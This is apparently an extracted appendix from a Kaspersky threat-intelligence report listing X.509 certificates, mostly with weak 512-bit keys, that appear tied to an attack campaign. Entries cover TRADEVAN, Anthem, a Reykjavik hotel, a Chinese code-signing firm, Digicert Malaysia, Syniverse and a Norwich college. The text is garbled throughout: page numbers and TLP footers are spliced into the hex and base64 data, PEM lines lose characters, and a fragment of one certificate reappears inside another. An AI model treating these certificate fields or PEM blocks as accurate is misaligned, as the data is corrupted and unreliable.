wTLGBOZ6NUVGBZkpkC6oLt2K1IwxLndXhGKHuFgKirnFUxLGA2nosvWMq5Ac1Fl dt8I1PX6qdnD1F8S3MrNTR7K3p/DyV1TTNJUFEPl2CucfH7aM9dpgEPdlj1kqpFj X0hQezPXhTqp13Rx2kqCz7EUgvaVctipJD60FJQMFyxvipMaog END CERTIFICATE Certificate: Data: Version: 3 (0x2) Serial Number: 1707608080 (0x65c80810) Signature Algorithm: sha1WithRSAEncryption Issuer: CTW, OTAIWANCA.
COM Inc., OUSSL Certification Service Provider, CNTaiCA Secure CA Validity Not Before: Jul 2 06:34:05 2010 GMT Not After : Jul 17 15:59:59 2011 GMT Subject: CTW, STTaipei, LTaipei, OTRADEVAN, OUTRADEVAN, CNwww.esupplychain.com.tw Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:d2:80:52:89:4d:eb:b7:dd:56:41:56:09:71:ce: 87:a0:ad:1d:27:c1:a5:e3:94:27:1b:22:f0:d5:6c: 3c:d5:23:df:0a:22:b9:a0:19:53:5d:85:7e:ca:2a: 51:4d:7d:24:c3:d0:64:0a:52:eb:84:59:f2:2e:68: c3:d8:bf:13:d1 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Authority Key Identifier: keyid:D4:85:27:D2:27:A4:BE:AB:5E:2F:41:1B:EA:52:24:3 9:99:4E:46:2E X509v3 Subject Key Identifier: 4B:EC:AE:F9:6A:02:DF:92:0A:0D:6B:FC:B9:5A:C0:77:BB: 1E:56:D4 X509v3 CRL Distribution Points: Full Name: 25 TLP: Green For any inquiries, please contact intelreportskaspersky.com URI:http://sslserver.twca.com.tw/sslserver/ revoke10.crl X509v3 Certificate Policies: Policy: 2.16.158.3.1.8.5 User Notice: Explicit Text: Restriction 3.2.1.1 CPS: www.twca.com.tw X509v3 Basic Constraints: CA:FALSE Signature Algorithm: sha1WithRSAEncryption 8e:94:2c:a7:d4:ee:6f:d4:4b:3e:b1:ee:88:75:96:c2:52:b8: 37:ed:c3:13:51:4f:af:8c:e8:1a:0a:cc:c8:9d:81:16:06:2f: e5:48:a7:93:1e:10:07:4a:53:a2:f6:41:a4:93:29:93:c3:58: 88:7c:22:a4:f5:7f:53:b0:de:2f:d2:36:8b:1d:ed:54:c6:53: d0:d5:2e:26:cc:29:9b:94:4b:14:2e:19:78:89:29:54:02:6b: ff:93:9d:b2:83:c2:19:b0:a1:10:c9:f4:bd:bd:f0:35:2e:44: 4f:7c:00:35:33:ad:52:ac:49:0c:67:0e:48:ca:50:ff:8b:18: 1a:b5 BEGIN CERTIFICATE MIIDDTCCAnagAwIBAgIEZcgIEDANBgkqhkiG9w0BAQUFADBxMQswCQYDVQQGEwJU VzEbMBkGA1UEChMSVEFJV0FOLUNBLkNPTSBJbmMuMSswKQYDVQQLEyJTU0wgQ2Vy dGlmaWNhdGlvbiBTZXJ2aWNlIFByb3ZpZGVyMRgwFgYDVQQDEw9UYWlDQSBTZWN1 cmUgQ0EwHhcNMTAwNzAyMDYzNDA1WhcNMTEwNzE3MTU1OTU5WjB5MQswCQYDVQQG EwJUVzEPMA0GA1UECBMGVGFpcGVpMQ8wDQYDVQQHEwZUYWlwZWkxEjAQBgNVBAoT CVRSQURFLVZBTjESMBAGA1UECxMJVFJBREUtVkFOMSAwHgYDVQQDExd3d3cuZXN1 cHBseWNoYWluLmNvbS50dzBcMA0GCSqGSIb3DQEBAQUAA0sAMEgCQQDSgFKJTeu3 3VZBVglxzoegrR0nwaXjlCcbIvDVbDzVI98KIrmgGVNdhX7KKlFNfSTD0GQKUuuE WfIuaMPYvxPRAgMBAAGjge0wgeowHwYDVR0jBBgwFoAU1IUn0iekvqteL0Eb6lIk OZlORi4wHQYDVR0OBBYEFEvsrvlqAtSCg1r/LlawHe7HlbUMEQGA1UdHwQ9MDsw OaA3oDWGM2h0dHA6Ly9zc2xzZXJ2ZXIudHdjYS5jb20udHcvc3Nsc2VydmVyL3Jl dm9rZTEwLmNybDBXBgNVHSAEUDBOMEwGB2CBHgMBCAUwQTAiBggrBgEFBQcCAjAW GhRSZXN0cmljdGlvbiA9My4yLjEuMTAbBggrBgEFBQcCARYPd3d3LnR3Y2EuY29t LnR3MAkGA1UdEwQCMAAwDQYJKoZIhvcNAQEFBQADgYEAjpQsp9Tub9RLPrHuiHWW wlK4N3DE1FPr4zoGgrMyJ2BFgYv5Uinkx4QB0pTovZBpJMpk8NYiHwipPV/U7De L9I2ix3tVMZT0NUuJswpm5RLFC4ZeIkpVAJr/5OdsoPCGbChEMn0vb3wNS5ET3wA NTOtUqxJDGcOSMpQ/4sYGrU END CERTIFICATE 26 TLP: Green For any inquiries, please contact intelreportskaspersky.com Certificate: Data: Version: 3 (0x2) Serial Number: 19771 (0x4d3b) Signature Algorithm: sha1WithRSAEncryption Issuer: CUS, OAnthem Inc, OUEcommerce, CNAnthem Inc Certificate Authority Validity Not Before: Apr 22 18:15:10 2009 GMT Not After : Apr 22 18:15:10 2010 GMT Subject: CUS, STIndiana, LIndianapolis, OAnthem Insurance Company Inc, OUEBusiness, CNahi.anthem.com Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:d4:95:e5:13:d8:7f:91:27:29:f6:76:72:9a:13: a6:e2:4b:ec:16:ed:fc:a5:d8:f9:a1:f3:57:4b:85: 56:ec:ca:80:9f:0c:23:9d:36:45:db:ee:a8:ee:47: b7:33:21:e4:93:72:7d:00:02:98:08:d8:88:c9:45: b5:22:cc:bc:77 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Basic Constraints: critical CA:FALSE X509v3 Subject Alternative Name: email:dlaitmiddlewareanthem.com X509v3 Key Usage: critical Key Encipherment X509v3 Authority Key Identifier: keyid:FA:1A:DC:3E:5D:A6:B5:FD:FA:5F:6C:CB:28:40:D3:E 0:97:A2:AA:AC DirName:/CUS/OGTE Corporation/OUGTE CyberTrust Solutions, Inc./CNGTE CyberTrust Global Root serial:07:27:16:11 X509v3 Subject Key Identifier: 6B:46:CC:B6:F4:8F:05:14:46:5D:D8:23:B8:05:73:E3:58: 7E:D6:A6 Signature Algorithm: sha1WithRSAEncryption 27 TLP: Green For any inquiries, please contact intelreportskaspersky.com 71:72:2a:c2:fc:70:13:d6:7a:a7:08:50:f2:e5:c9:7d:61:e8: 3d:bd:98:89:2a:76:3f:16:1e:c1:2d:31:8b:81:b6:95:83:5b: d3:48:35:3d:78:9a:e3:76:c9:89:a0:8a:74:a0:cd:ae:56:cf: 30:c7:72:d2:72:d0:aa:4b:9c:18:13:41:90:30:45:6d:bd:24: d4:88:1e:83:f3:ef:ac:d7:c3:6f:82:2d:10:20:d6:06:01:36: 45:50:13:b4:32:6b:39:73:c9:7d:67:84:d4:ab:87:fc:c9:2a: 8d:ee:63:7a:e2:f1:8c:4a:47:7f:3a:cb:6e:68:a2:c1:32:c6: 04:e6:7a:35:45:46:05:99:29:90:2e:a8:2e:dd:8a:d4:8c:31: 2e:77:57:84:62:87:fa:e1:60:2a:2a:e7:15:4c:4b:18:0d:a7: a2:cb:d6:32:ae:40:73:51:65:76:df:08:d4:f5:fa:a9:d9:c3: d4:5f:12:dc:ca:cd:4d:1e:ca:de:9f:c3:c9:5d:53:4c:d2:54: 14:43:e5:d8:2b:9c:7c:7e:da:33:d7:69:80:43:dd:96:3d:64: aa:91:63:5f:48:50:7b:33:d7:85:3a:a9:d7:74:71:da:4a:82: cf:b1:14:82:f6:95:72:d8:a9:24:3e:b4:14:94:0c:17:2c:6f: 8a:93:1a:a2 BEGIN CERTIFICATE MIIDsTCCApmgAwIBAgICTTswDQYJKoZIhvcNAQEFBQAwYTELMAkGA1UEBhMCVVMx EzARBgNVBAoTCkFudGhlbSBJbmMxEjAQBgNVBAsTCUVjb21tZXJjZTEpMCcGA1UE AxMgQW50aGVtIEluYyBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcNMDkwNDIyMTgx NTEwWhcNMTAwNDIyMTgxNTEwWjCBijELMAkGA1UEBhMCVVMxEDAOBgNVBAgTB0lu ZGlhbmExFTATBgNVBAcTDEluZGlhbmFwb2xpczElMCMGA1UEChMcQW50aGVtIElu c3VyYW5jZSBDb21wYW55IEluYzESMBAGA1UECxMJRUJ1c2luZXNzMRcwFQYDVQQD Ew5haGkuYW50aGVtLmNvbTBcMA0GCSqGSIb3DQEBAQUAA0sAMEgCQQDUleUT2HR Jyn2dnKaE6biSwW7fyl2Pmh81dLhVbsyoCfDCOdNkXb7qjuR7czIeSTcn0AApgI 2IjJRbUizLx3AgMBAAGjggEPMIIBCzAMBgNVHRMBAf8EAjAAMCcGA1UdEQQgMB6B HGRsLWFpdC1taWRkbGV3YXJlQGFudGhlbS5jb20wDgYDVR0PAQH/BAQDAgUgMIGi BgNVHSMEgZowgZeAFPoa3D5dprX9l9syyhA0CXoqqsoXmkdzB1MQswCQYDVQQG EwJVUzEYMBYGA1UEChMPR1RFIENvcnBvcmF0aW9uMScwJQYDVQQLEx5HVEUgQ3li ZXJUcnVzdCBTb2x1dGlvbnMsIEluYy4xIzAhBgNVBAMTGkdURSBDeWJlclRydXN0 IEdsb2JhbCBSb290ggQHJxYRMB0GA1UdDgQWBBRrRsy29I8FFEZd2CO4BXPjWH7W pjANBgkqhkiG9w0BAQUFAAOCAQEAcXIqwvxwE9Z6pwhQ8uXJfWHoPb2YiSp2PxYe wS0xi4G2lYNb00g1PXia43bJiaCKdKDNrlbPMMdy0nLQqkucGBNBkDBFbb0k1Ige g/PvrNfDb4ItECDWBgE2RVATtDJrOXPJfWeE1KuH/Mkqje5jeuLxjEpHfzrLbmii wTLGBOZ6NUVGBZkpkC6oLt2K1IwxLndXhGKHuFgKirnFUxLGA2nosvWMq5Ac1Fl dt8I1PX6qdnD1F8S3MrNTR7K3p/DyV1TTNJUFEPl2CucfH7aM9dpgEPdlj1kqpFj X0hQezPXhTqp13Rx2kqCz7EUgvaVctipJD60FJQMFyxvipMaog END CERTIFICATE 28 TLP: Green For any inquiries, please contact intelreportskaspersky.com Certificate: Data: Version: 3 (0x2) Serial Number: 820 (0x334) Signature Algorithm: md5WithRSAEncryption Issuer: CUS, OEquifax Secure Inc., CNEquifax Secure eBusiness CA1 Validity Not Before: Feb 28 05:56:46 2005 GMT Not After : Mar 31 05:56:46 2007 GMT Subject: CIS, Osecure.hotelreykjavik.is, OUhttps://services.choicepoint.net/get.jsp?GT50237618, OUSee www.freessl.com/cps (c)04, OUDomain Control Validated StarterSSL(TM), CNsecure.hotelreykjavik.is Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:db:6b:0d:53:8d:e1:71:f1:e2:48:aa:eb:94:d0: fa:14:c6:24:f8:39:db:22:dc:a7:8e:46:31:10:49: 88:42:af:f2:9a:c5:c7:a2:ef:ec:b5:8c:a3:49:f4: 47:cf:12:4f:e8:6c:dd:9b:5e:91:0d:87:72:6a:17: ea:d5:71:14:bd Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Key Usage: critical Digital Signature, Non Repudiation, Key Encipherment, Data Encipherment X509v3 CRL Distribution Points: Full Name: URI:http://crl.geotrust.com/crls/ebizca1.crl X509v3 Authority Key Identifier: keyid:4A:78:32:52:11:DB:59:16:36:5E:DF:C1:14:36:40:6 A:47:7C:4C:A1 Signature Algorithm: md5WithRSAEncryption 78:45:fd:b4:64:e8:50:16:00:f0:35:39:cd:ab:b6:ed:ee:0d: 71:3b:2e:64:8e:92:42:f6:0d:23:28:c2:f8:e2:df:d0:ea:9c: ea:d7:ad:81:80:f2:ae:cb:95:70:7d:e2:2f:c0:21:9a:d7:0c: d2:30:94:a6:08:ca:ff:33:80:33:29:fd:f6:14:f5:49:c8:ae: 1d:eb:6b:6e:bf:58:d3:f1:d5:4b:f1:3c:3a:0d:06:1c:ac:29: 29 TLP: Green For any inquiries, please contact intelreportskaspersky.com be:de:9a:d5:77:a7:37:e6:27:48:5b:b0:bc:ac:48:50:b6:db: 26:aa:27:db:c5:f3:8f:43:b9:92:46:48:ac:f4:98:60:05:ab: c6:0b BEGIN CERTIFICATE MIIC4jCCAkugAwIBAgICAzQwDQYJKoZIhvcNAQEEBQAwUzELMAkGA1UEBhMCVVMx HDAaBgNVBAoTE0VxdWlmYXggU2VjdXJlIEluYy4xJjAkBgNVBAMTHUVxdWlmYXgg U2VjdXJlIGVCdXNpbmVzcyBDQS0xMB4XDTA1MDIyODA1NTY0NloXDTA3MDMzMTA1 NTY0Nlowge0xCzAJBgNVBAYTAklTMSEwHwYDVQQKExhzZWN1cmUuaG90ZWxyZXlr amF2aWsuaXMxPDA6BgNVBAsTM2h0dHBzOi8vc2VydmljZXMuY2hvaWNlcG9pbnQu bmV0L2dldC5qc3A/R1Q1MDIzNzYxODEmMCQGA1UECxMdU2VlIHd3dy5mcmVlc3Ns LmNvbS9jcHMgKGMpMDQxMjAwBgNVBAsTKURvbWFpbiBDb250cm9sIFZhbGlkYXRl ZCAtIFN0YXJ0ZXJTU0woVE0pMSEwHwYDVQQDExhzZWN1cmUuaG90ZWxyZXlramF2 aWsuaXMwXDANBgkqhkiG9w0BAQEFAANLADBIAkEA22sNU43hcfHiSKrrlND6FMYk DnbItynjkYxEEmIQq/ymsXHou/stYyjSfRHzxJP6Gzdm16RDYdyahfq1XEUvQID AQABo24wbDAOBgNVHQ8BAf8EBAMCBPAwOQYDVR0fBDIwMDAuoCygKoYoaHR0cDov L2NybC5nZW90cnVzdC5jb20vY3Jscy9lYml6Y2ExLmNybDAfBgNVHSMEGDAWgBRK eDJSEdtZFjZe38EUNkBqR3xMoTANBgkqhkiG9w0BAQQFAAOBgQB4Rf20ZOhQFgDw NTnNq7bt7g1xOy5kjpJC9g0jKML44t/Q6pzq162BgPKuy5VwfeIvwCGa1wzSMJSm CMr/M4AzKf32FPVJyK4d62tuv1jT8dVL8Tw6DQYcrCm3prVd6c35idIW7C8rEhQ ttsmqifbxfOPQ7mSRkis9JhgBavGCw END CERTIFICATE Certificate: Data: Version: 3 (0x2) Serial Number: 26:7b:de:88:8b:c1:50:15:11:00:f2:54:d8:ca:ed:67 Signature Algorithm: sha1WithRSAEncryption Issuer: CUS, OThawte, Inc., CNThawte Code Signing CA G2 Validity Not Before: Jul 19 00:00:00 2013 GMT Not After : Jul 16 23:59:59 2014 GMT Subject: CCN, STHenan, LXuchang, OXuchang Hongguang Technology Co.,Ltd.,
CNXuchang Hongguang Technology Co.,Ltd.
Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (2048 bit) Modulus: 30 TLP: Green For any inquiries, please contact intelreportskaspersky.com 00:d0:5f:76:e6:03:cf:29:ad:17:01:b3:af:9e:3c: 4d:b3:45:5c:e7:4d:92:c4:2a:a1:5c:4f:20:c3:86: 49:09:72:4f:81:60:2f:95:1c:9d:65:b6:50:0e:72: 71:f9:9d:f6:8f:98:ec:5c:7b:ef:3e:a6:43:ed:35: 0e:44:81:e7:60:93:fc:13:d1:67:a7:3f:39:b6:c5: 4a:95:89:48:e0:f4:92:46:e2:d4:cf:de:66:b4:f0: b9:73:35:2f:37:43:89:34:94:88:49:eb:93:84:24: 48:a5:0a:6f:d3:0b:8d:28:40:ca:09:0a:d2:ee:85: 18:60:bc:af:90:21:08:ff:7c:87:ab:30:cc:78:6f: 95:a6:19:80:cc:57:5b:fa:33:fd:68:33:5f:4c:8a: 73:b3:f3:82:c6:b8:51:c6:5e:d4:1f:59:c0:61:da: b0:5a:e3:b6:62:f3:ac:42:13:a1:81:c3:1d:eb:a1: 76:a8:a8:83:dd:76:bd:af:15:71:47:55:b9:55:e5: 5b:a8:49:15:4e:6d:97:c9:9e:4b:81:47:14:35:ae: 09:dc:0d:39:2e:5c:41:da:65:fb:fe:89:c6:ca:02: 4b:1d:9f:51:f4:00:8a:43:8d:9b:ce:a1:5e:b9:23: b5:3b:ee:9f:1f:01:30:5d:93:2a:a5:d6:4b:bd:4c: 1b:0f Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Basic Constraints: critical CA:FALSE X509v3 CRL Distribution Points: Full Name: URI:http://csg2crl.
thawte.com/ThawteCSG2.crl X509v3 Extended Key Usage: Code Signing, Microsoft Commercial Code Signing 2.5.29.4: 0.0.0.. .....7....... Authority Information Access: OCSP URI: http://ocsp.thawte.com Netscape Cert Type: Object Signing Signature Algorithm: sha1WithRSAEncryption 20:71:27:39:c1:af:ca:1b:47:0e:9b:81:44:5a:fe:e6:27:b1: 35:fa:c2:94:ac:ed:e2:1b:83:9a:d5:c8:92:06:a7:d3:6f:ef: 39:4a:31:87:3d:66:d8:e5:fb:f9:f2:47:77:9c:01:ee:56:9a: 31 TLP: Green For any inquiries, please contact intelreportskaspersky.com 72:32:0f:60:ce:94:3f:a6:9b:55:8c:97:3d:15:c9:97:4e:ba: 24:b8:cc:1d:46:ac:5e:27:c6:9e:e6:07:23:9d:31:36:d3:f4: dc:88:71:33:c5:71:fd:8f:1e:05:22:c0:89:ca:96:75:9c:fa: db:72:b2:ad:89:a9:4a:4b:82:ec:9e:70:87:ce:44:7f:79:08: 2e:ed:29:e8:35:0b:be:39:da:f6:3c:44:e9:c1:85:f3:bb:b2: a8:1c:30:d4:ef:fc:ac:64:f4:8b:38:37:ed:3c:92:18:3d:1f: 68:7a:cd:2e:58:6d:e5:24:2e:27:4a:ea:0b:07:3a:e5:30:00: 7d:c1:3d:09:89:1e:ae:aa:fb:de:ed:59:6b:ed:32:88:3d:a5: 83:3f:40:fb:22:04:81:d3:de:92:ae:49:57:a7:16:4a:ce:29: 87:dc:c4:90:1b:d8:ac:6b:be:e5:15:c2:e4:af:cf:5a:bc:d5: 25:c0:52:26:f5:3c:50:21:9a:d7:11:69:6e:31:b4:64:f9:46: 86:a5:34:00 BEGIN CERTIFICATE MIIEOjCCAyKgAwIBAgIQJnveiIvBUBURAPJU2MrtZzANBgkqhkiG9w0BAQUFADBK MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMVGhhd3RlLCBJbmMuMSQwIgYDVQQDExtU aGF3dGUgQ29kZSBTaWduaW5nIENBIC0gRzIwHhcNMTMwNzE5MDAwMDAwWhcNMTQw NzE2MjM1OTU5WjCBjzELMAkGA1UEBhMCQ04xDjAMBgNVBAgTBUhlbmFuMRAwDgYD VQQHFAdYdWNoYW5nMS4wLAYDVQQKFCVYdWNoYW5nIEhvbmdndWFuZyBUZWNobm9s b2d5IENvLixMdGQuMS4wLAYDVQQDFCVYdWNoYW5nIEhvbmdndWFuZyBUZWNobm9s b2d5IENvLixMdGQuMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0F92 5gPPKa0XAbOvnjxNs0Vc502SxCqhXE8gw4ZJCXJPgWAvlRydZbZQDnJxZ32j5js XHvvPqZD7TUORIHnYJP8E9Fnpz85tsVKlYlI4PSSRuLUz95mtPC5czUvN0OJNJSI SeuThCRIpQpv0wuNKEDKCQrS7oUYYLyvkCEI/3yHqzDMeGVphmAzFdbjP9aDNf TIpzs/OCxrhRxl7UH1nAYdqwWuO2YvOsQhOhgcMd66F2qKiD3Xa9rxVxR1W5VeVb qEkVTm2XyZ5LgUcUNa4J3A05LlxB2mX7/onGygJLHZ9R9ACKQ42bzqFeuSO1O6f HwEwXZMqpdZLvUwbDwIDAQABo4HVMIHSMAwGA1UdEwEB/wQCMAAwOwYDVR0fBDQw MjAwoC6gLIYqaHR0cDovL2NzLWcyLWNybC50aGF3dGUuY29tL1RoYXd0ZUNTRzIu Y3JsMB8GA1UdJQQYMBYGCCsGAQUFBwMDBgorBgEEAYI3AgEWMB0GA1UdBAQWMBQw DjAMBgorBgEEAYI3AgEWAwIHgDAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAGG Fmh0dHA6Ly9vY3NwLnRoYXd0ZS5jb20wEQYJYIZIAYb4QgEBBAQDAgQQMA0GCSqG SIb3DQEBBQUAA4IBAQAgcSc5wa/KG0cOm4FEWv7mJ7E1sKUrO3iG4Oa1ciSBqfT b85SjGHPWbY5fv58kd3nAHuVppyMg9gzpQ/pptVjJc9FcmXTrokuMwdRqxeJ8ae 5gcjnTE20/TciHEzxXH9jx4FIsCJypZ1nPrbcrKtialKS4LsnnCHzkR/eQgu7Sno NQuOdr2PETpwYXzu7KoHDDU7/ysZPSLODftPJIYPR9oes0uWG3lJC4nSuoLBzrl MAB9wT0JiR6uqvve7Vlr7TKIPaWDP0D7IgSB096SrklXpxZKzimH3MSQG9isa77l FcLkr89avNUlwFIm9TxQIZrXEWluMbRkUaGpTQA END CERTIFICATE 32 TLP: Green For any inquiries, please contact intelreportskaspersky.com Certificate: Data: Version: 3 (0x2) Serial Number: 2786200 (0x2a8398) Signature Algorithm: sha1WithRSAEncryption Issuer: CMY, ODigicert Sdn.
Bhd.,
OU457608K, CNDigisign Server ID (Enrich) Validity Not Before: Mar 29 03:40:07 2010 GMT Not After : Mar 29 03:40:07 2012 GMT Subject: CMY, ODigicert Sdn Bhd, OUCA Operation, CNmcrs.digicert.com.my, LKL, STWP Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:d1:e9:78:55:9c:79:70:eb:11:d3:d5:2f:c9:b0: 3a:1a:81:c9:cc:6a:ce:f7:5e:36:11:c3:9a:bd:e0: 06:95:6e:98:a3:7e:92:01:1d:ca:b2:9f:6c:a1:e1: ea:50:18:09:a3:35:84:bc:df:9b:9c:60:b5:a4:18: 6c:0d:d9:10:35 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Subject Key Identifier: 40:D1:03:5E:67:7C:07:9D X509v3 Certificate Policies: Policy: 2.16.458.1.1 CPS: http://www.digicert.com.my/cps.htm X509v3 Authority Key Identifier: keyid:C6:16:93:4E:16:17:EC:16:AE:8C:94:76:F3:86:6D:C 5:74:6E:84:77 X509v3 Key Usage: Digital Signature, Non Repudiation, Key Encipherment, Data Encipherment Signature Algorithm: sha1WithRSAEncryption 12:13:d6:69:03:9a:dd:fc:0d:e9:7e:53:ef:79:e5:bd:47:c7: 46:a0:0b:d9:7f:52:a6:1e:65:4e:a2:b1:73:83:93:93:e2:d0: bd:72:de:8e:fd:3f:ba:bb:66:c4:5d:98:2a:39:fa:8c:f0:84: 00:36:c5:05:dc:2b:6c:a9:1d:e0:90:20:84:0e:48:ff:83:bf: 51:87:e6:04:49:83:73:f0:0d:48:fb:c5:d8:ea:c2:ef:95:11: 33 TLP: Green For any inquiries, please contact intelreportskaspersky.com a3:81:9d:34:54:00:e6:93:3b:79:a2:ec:ed:1d:b7:e8:08:4a: 4e:f9:e7:0f:b2:c6:32:d0:84:de:b7:e6:a2:4f:1f:2a:58:c7: b4:61 BEGIN CERTIFICATE MIICmjCCAgOgAwIBAgIDKoOYMA0GCSqGSIb3DQEBBQUAMGMxCzAJBgNVBAYTAk1Z MRswGQYDVQQKExJEaWdpY2VydCBTZG4uIEJoZC4xETAPBgNVBAsTCDQ1NzYwOC1L MSQwIgYDVQQDExtEaWdpc2lnbiBTZXJ2ZXIgSUQgKEVucmljaCkwHhcNMTAwMzI5 MDM0MDA3WhcNMTIwMzI5MDM0MDA3WjB4MQswCQYDVQQGEwJNWTEZMBcGA1UEChMQ RGlnaWNlcnQgU2RuIEJoZDEVMBMGA1UECxMMQ0EgT3BlcmF0aW9uMR0wGwYDVQQD ExRtY3JzLmRpZ2ljZXJ0LmNvbS5teTELMAkGA1UEBxMCS0wxCzAJBgNVBAgTAldQ MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANHpeFWceXDrEdPVL8mwOhqBycxqzvde NhHDmr3gBpVumKNkgEdyrKfbKHh6lAYCaM1hLzfm5xgtaQYbA3ZEDUCAwEAAaOB ijCBhzARBgNVHQ4ECgQIQNEDXmd8B50wRAYDVR0gBD0wOzA5BgVgg0oBATAwMC4G CCsGAQUFBwIBFiJodHRwOi8vd3d3LmRpZ2ljZXJ0LmNvbS5teS9jcHMuaHRtMB8G A1UdIwQYMBaAFMYWk04WFwWroyUdvOGbcV0boR3MAsGA1UdDwQEAwIE8DANBgkq hkiG9w0BAQUFAAOBgQASE9ZpA5rd/A3pflPveeW9R8dGoAvZf1KmHmVOorFzg5OT 4tC9ct6O/T6u2bEXZgqOfqM8IQANsUF3CtsqR3gkCCEDkj/g79RhYESYNz8A1I 8XY6sLvlRGjgZ00VADmkzt5ouztHbfoCEpOecPssYy0ITetaiTx8qWMe0YQ END CERTIFICATE Certificate: Data: Version: 3 (0x2) Serial Number: 01:00:00:00:00:01:1f:71:31:72:c9 Signature Algorithm: sha1WithRSAEncryption Issuer: OGlobalSign Inc, CNCybertrust SureServer CA Validity Not Before: Feb 13 19:00:51 2009 GMT Not After : Feb 13 19:00:51 2011 GMT Subject: CNinpack.syniverse.com, CUS/emailAddressbelinda.jablonskisyniverse.com, LTampa, OSyniverse Technologies Inc., OUCrossroads, STFlorida Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:a5:13:53:17:02:f7:cd:33:64:7d:e8:27:8f:e9: bc:ab:db:96:3b:41:0d:b6:c4:2a:10:d5:64:58:87: 34 TLP: Green For any inquiries, please contact intelreportskaspersky.com ac:62:de:09:2e:c5:5f:79:c5:d5:9e:26:9b:1a:9a: e3:99:3b:e2:2e:48:7e:9c:5f:74:c9:34:09:b3:a5: 40:7f:bb:e9:35 Exponent: 65537 (0x10001) X509v3 extensions: Netscape Cert Type: SSL Client, SSL Server X509v3 Key Usage: critical Digital Signature, Non Repudiation, Key Encipherment, Data Encipherment X509v3 Authority Key Identifier: keyid:2B:37:53:93:64:47:66:23:4F:00:D3:F7:DD:E8:30:B 6:5B:84:89:23 X509v3 CRL Distribution Points: Full Name: URI:http://crl.globalsign.net/sureserver.crl X509v3 Basic Constraints: critical CA:FALSE Signature Algorithm: sha1WithRSAEncryption 95:2a:42:59:bd:18:1a:ec:20:e9:96:0d:7f:f2:bc:4e:79:8a: 44:21:a4:d7:46:03:94:a8:ec:d0:28:29:07:d0:f5:bc:91:c5: 21:34:16:dd:87:ee:dc:6a:d4:e7:f4:d4:f9:a6:04:bb:60:53: 2b:14:19:8a:2c:2e:1f:6a:8f:97:22:d6:f4:e5:44:06:c2:22: ee:cf:b2:19:67:fa:40:0f:9c:cf:58:7f:53:21:af:c0:02:ad: d8:7c:19:3c:f3:52:f4:10:30:f0:61:24:a9:9d:18:01:a3:f5: c9:29:ab:65:66:ef:a5:2d:cd:53:e2:44:09:ea:8d:4c:bc:ef: 1a:b6:2c:7b:df:16:39:94:8b:33:cb:14:16:c2:93:42:6c:4d: 18:99:ba:7b:fa:91:74:f0:9a:1e:ae:92:b4:94:43:bb:96:ba: 7e:6a:df:38:9c:2e:7c:11:37:37:4c:20:80:5d:6b:e2:94:41: 98:7d:cc:26:ca:cc:4f:81:4d:95:16:bb:26:db:1f:fe:03:fc: a2:50:9c:49:0b:45:7c:86:fc:5c:a6:31:34:f2:08:f1:03:16: 10:e0:90:0c:e7:02:4e:95:f5:e8:32:03:a3:fb:78:17:dc:23: bf:b4:59:e6:6f:91:1c:38:cd:b7:9e:48:a0:6b:68:98:00:e3: 33:48:18:ae BEGIN CERTIFICATE MIIDRDCCAiygAwIBAgILAQAAAAABH3ExcskwDQYJKoZIhvcNAQEFBQAwPDEXMBUG A1UEChMOR2xvYmFsU2lnbiBJbmMxITAfBgNVBAMTGEN5YmVydHJ1c3QgU3VyZVNl cnZlciBDQTAeFw0wOTAyMTMxOTAwNTFaFw0xMTAyMTMxOTAwNTFaMIG5MR0wGwYD VQQDExRpbnBhY2suc3luaXZlcnNlLmNvbTELMAkGA1UEBhMCVVMxLjAsBgkqhkiG 35 TLP: Green For any inquiries, please contact intelreportskaspersky.com 9w0BCQEWH2JlbGluZGEuamFibG9uc2tpQHN5bml2ZXJzZS5jb20xDjAMBgNVBAcT BVRhbXBhMSQwIgYDVQQKExtTeW5pdmVyc2UgVGVjaG5vbG9naWVzIEluYy4xEzAR BgNVBAsTCkNyb3Nzcm9hZHMxEDAOBgNVBAgTB0Zsb3JpZGEwXDANBgkqhkiG9w0B AQEFAANLADBIAkEApRNTFwL3zTNkfegnjm8q9uWO0ENtsQqENVkWIesYt4JLsVf ecXVniabGprjmTviLkhnF90yTQJs6VAf7vpNQIDAQABo4GQMIGNMBEGCWCGSAGG EIBAQQEAwIGwDAOBgNVHQ8BAf8EBAMCBPAwHwYDVR0jBBgwFoAUKzdTk2RHZiNP ANP33egwtluEiSMwOQYDVR0fBDIwMDAuoCygKoYoaHR0cDovL2NybC5nbG9iYWxz aWduLm5ldC9zdXJlc2VydmVyLmNybDAMBgNVHRMBAf8EAjAAMA0GCSqGSIb3DQEB BQUAA4IBAQCVKkJZvRga7CDplg1/8rxOeYpEIaTXRgOUqOzQKCkH0PW8kcUhNBbd h7catTn9NT5pgS7YFMrFBmKLC4faoXItb05UQGwiLuz7IZZ/pAD5zPWH9TIa/A Aq3YfBk881L0EDDwYSSpnRgBo/XJKatlZulLc1T4kQJ6o1MvO8atix73xY5lIsz yxQWwpNCbE0Ymbp7pF08JoerpK0lEO7lrpat84nC58ETc3TCCAXWvilEGYfcwm ysxPgU2VFrsm2x/A/yiUJxJC0V8hvxcpjE08gjxAxYQ4JAM5wJOlfXoMgOj3gX 3CO/tFnmb5EcOM23nkiga2iYAOMzSBiu END CERTIFICATE Certificate: Data: Version: 3 (0x2) Serial Number: 01:00:00:00:00:01:1d:91:a4:6e:5b Signature Algorithm: sha1WithRSAEncryption Issuer: CBE, OCybertrust, OUEducational CA, CNCybertrust Educational CA Validity Not Before: Nov 12 16:59:48 2008 GMT Not After : Nov 12 16:59:48 2011 GMT Subject: CGB, STNorfolk, LNorwich, OCity College Norwich, 